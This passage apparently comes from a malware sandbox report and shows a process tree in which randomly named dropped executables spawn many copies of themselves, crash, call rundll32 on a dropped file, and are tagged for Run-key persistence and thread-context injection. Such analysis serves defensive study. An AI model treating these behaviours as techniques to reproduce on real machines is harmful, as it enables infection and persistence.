C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9616
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9092
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:1456
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9584
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9632
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7060
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3976
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6988
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9548
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9432
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9580
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5648
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10256
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10960
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10248
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2020
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11220
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10796
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8588
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8588 -s 284⤵
- Program crash
PID:10544
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7220
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7824
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8900
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5224
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10868
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8996
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9732
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9732 -s 284⤵
- Program crash
PID:9516
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2468
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 284⤵
- Program crash
PID:9600
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8940
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3420
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8428
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6824
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:724
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8244
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2800
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11168
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7256
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3456
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6268
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10072
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8860
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11056
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8336
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2328
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5716
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10576
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6188
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9296
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8736
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7032
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7032 -s 284⤵
- Program crash
PID:10680
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Adds Run key to start application
PID:8068
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:9944
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6012
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9620
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3476
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:4052
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:4600
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3984
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:5372
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6868
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:1460
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8076
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6720
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10360
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9656
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6296
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6488
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:8332
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6336
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9968
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7368
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9668
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3736
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 284⤵
- Program crash
PID:2220
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9608
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6304
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10748
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11848
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11332
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11412
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11708
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:1452
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13152
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12528
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7572
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:10368
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7588
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11172
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3584
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13584
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3256
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13988
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3996
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7980
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8936
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13924
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13720 -s 284⤵
- Program crash
PID:11100
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11384
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14144
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:3868
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11608
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14264
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:2820
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:476
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:6104
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9608
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12312
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:8408
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8408 -s 284⤵
- Program crash
PID:12868
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11468
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12852
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11464
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13576
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9664
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:4596
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12712
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12164
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:11352
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:7448
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12804
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13244
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12620
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13188 -s 284⤵
- Program crash
PID:15004
-
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14752
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14416
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14444
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14352
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:9672
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:12320
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14912
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:14680
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13740
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:13004
-
-
C:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exeC:\Users\Admin\Documents\YAUieWzarfiE2eeBIIFMs6xl.exe3⤵PID:15132
-
-
-
C:\Users\Admin\Documents\iLxWSq0srwqYDrYifqlOjF_P.exe"C:\Users\Admin\Documents\iLxWSq0srwqYDrYifqlOjF_P.exe"2⤵
- Executes dropped EXE
PID:656 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 2763⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4372
-
-
-
C:\Users\Admin\Documents\39WlTeEFdnVI_EULWTalCYWo.exe"C:\Users\Admin\Documents\39WlTeEFdnVI_EULWTalCYWo.exe"2⤵
- Executes dropped EXE
PID:8 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 2763⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2980 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p4⤵PID:580
-
-
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe"C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1076 -
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1204
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Executes dropped EXE
PID:5172
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:2924
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Executes dropped EXE
PID:5968
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Executes dropped EXE
PID:3108
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4060
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵
- Executes dropped EXE
PID:3104
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:3324
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:1568
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6424
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7152
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6844
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:4004
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:6360
-
-
C:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exeC:\Users\Admin\Documents\jVMkn0lbkgcjZ6FfhcWxMlqp.exe3⤵PID:7680
-
-
